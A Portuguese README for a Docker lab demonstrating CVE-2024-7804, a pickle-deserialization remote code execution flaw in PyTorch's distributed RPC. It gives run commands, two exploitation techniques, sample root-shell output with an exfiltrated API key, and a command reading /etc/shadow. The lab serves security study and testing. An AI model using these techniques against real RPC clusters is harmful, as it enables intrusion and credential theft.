
Laboratório Docker autossuficiente e exploit em Python demonstrando a CVE-2024-7804, uma RCE crítica no RPC distribuído do PyTorch por meio de desserialização insegura de pickle (CWE-502). Inclui duas técnicas de exploração e orientações de remediação.
Laboratório autocontido + exploit para CVE-2024-7804: execução remota de código
no framework RPC distribuído do PyTorch (torch.distributed.rpc) através da
desserialização insegura de dados não confiáveis (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Nota: este aviso foi posteriormente retirado/rejeitado pelos mantenedores e pela Red Hat como "funcionalidade conhecida" — o RPC do PyTorch é, por design, um sistema de pares confiáveis. O laboratório continua sendo uma demonstração precisa e prática do problema relatado.
Cada chamada RPC envia uma namedtuple PythonUDF (, , ). No
nó receptor, ela é reconstruída com um , sem lista de permissões
e sem verificação de integridade:
funcargskwargspickle.Unpickler puro# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle controlado pelo atacante
...
Qualquer par que consiga entrar no "mundo" RPC pode, portanto, fazer o nó executar código
arbitrário — seja por meio de um gadget __reduce__ do pickle que dispara durante o load(), ou
simplesmente nomeando qualquer callable importável como UDF, já que nada restringe o que o nó executará.
CVE-2024-7804/
├── docker-compose.yml # vítima + atacante em uma única rede bridge
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — a imagem vulnerável
│ └── server.py # vítima: um worker RPC confiante que aguarda pares
└── exploit/
└── exploit.py # atacante: entra no mundo e executa RCE na vítima
Docker com o plugin Compose. Somente CPU (sem GPU), funciona em amd64 e arm64.
# 1. Inicie o nó vítima vulnerável (rank 0, aguarda um par)
docker compose up --build -d victim
# 2. Dispare o exploit (padrão: executa um comando na vítima e retorna o stdout)
docker compose run --rm attacker
# 3. Encerre tudo
docker compose down
[attacker] ===== saída do comando retornada da vítima =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- segredo exfiltrado ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== fim da saída =====
O atacante executou comandos como root na vítima e exfiltrou um arquivo que nunca deveria ter sido exposto.
| Comando | O que demonstra |
|---|---|
docker compose run --rm attacker | Envia subprocess.check_output como UDF. A vítima executa o comando e retorna o stdout — RCE e exfiltração em uma única chamada. |
docker compose run --rm attacker python exploit.py --reduce | Envia um objeto cujo __reduce__ executa os.system enquanto a vítima desserializa o payload — RCE no momento da desserialização (a essência da CWE-502), antes mesmo de a UDF ser chamada. |
Comando personalizado:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
Para --reduce, o comando é executado na vítima, então observe-o lá:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # a saída aparece no log da VÍTIMA
O log da vítima para --reduce termina com um traceback em
torch/distributed/rpc/internal.py, linha ~207 (python_udf.func(...)) — prova de que o
payload já foi reconstruído e executado pelo unpickler inseguro.
29500) a redes não confiáveis.Apenas para fins educacionais e testes de segurança autorizados. O laboratório é intencionalmente vulnerável — não o implante e execute o exploit apenas contra este laboratório.